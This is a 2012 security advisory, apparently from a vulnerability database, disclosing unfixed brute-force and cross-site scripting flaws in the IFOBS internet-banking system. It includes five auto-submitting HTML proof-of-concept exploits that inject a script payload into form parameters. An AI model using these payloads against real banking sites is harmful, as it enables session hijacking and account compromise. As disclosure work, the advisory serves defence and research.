Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:28580
HistoryOct 01, 2012 - 12:00 a.m.

Multiple vulnerabilities in IFOBS

2012-10-0100:00:00
vulners.com
17

Hello 3APA3A!

I want to warn you about Brute Force and Cross-Site Scripting vulnerabilities in system IFOBS.

IFOBS - it's Internet-banking system, which is widespread and particularly it's used by large number of Ukrainian banks.

These are the first 38 vulnerabilities in IFOBS: 2 BF and 36 XSS.


Affected products:

Vulnerable are all versions of IFOBS. The developers have ignored and not fixed these vulnerabilities (all holes from three advisories).


Details:

Brute Force (WASC-11):

In login form http://site/ifobsClient/loginlite.jsp there is no protection against picking up password (captcha).

In login form http://site/ifobsClient/loginsecurity.jsp there is no protection against picking up password (captcha).

Cross-Site Scripting (WASC-08):

POST request at page http://site/ifobsClient/regclientprint.jsp in parameters: secondName, firstName, thirdName, BirthDay, BirthMonth, BirthYear, address, livePlace, nationality, passportSerial, passportNumber, passportIssueAgency, PassportDay, PassportMonth, PassportYear, tempDocSerial, tempDocNumber, DocDay, DocMonth, DocYear, idCodeNumber, idCodeRegPlace, CodeRegDay, CodeRegMonth, CodeRegYear, phone, email, pmcountry, pmnumber, keyword, bankOblastSelect, bankCitySelect, bankRegionSelect, bankDepSelect, bankAddress, bankContacts.

Exploits for the first five vulnerabilities (in parameters secondName, firstName, thirdName, BirthDay, BirthMonth):

IFOBS XSS-1.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp&quot; method="post">
<input type="hidden" name="secondName" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>

IFOBS XSS-2.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp&quot; method="post">
<input type="hidden" name="firstName" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>

IFOBS XSS-3.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp&quot; method="post">
<input type="hidden" name="thirdName" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>

IFOBS XSS-4.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp&quot; method="post">
<input type="hidden" name="BirthDay" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="BirthYear" value="2012">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>

IFOBS XSS-5.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp&quot; method="post">
<input type="hidden" name="BirthMonth" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="BirthYear" value="2012">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>


Timeline:

2012.05.04 - found vulnerabilities during pentest. After I've informed my client, he could inform the developers.
2012.05.29 - announced at my site.
2012.06.01 - informed the developers about vulnerabilities (the first advisory).
2012.06.01 - informed the developers about vulnerabilities (the second advisory).
2012.06.02 - informed the developers about vulnerabilities (the third advisory).
2012.09.14 - disclosed at my site (http://websecurity.com.ua/5852/&#41;.

Best wishes & regards,
Eugene Dokukin aka MustLive
Administrator of Websecurity web site
http://websecurity.com.ua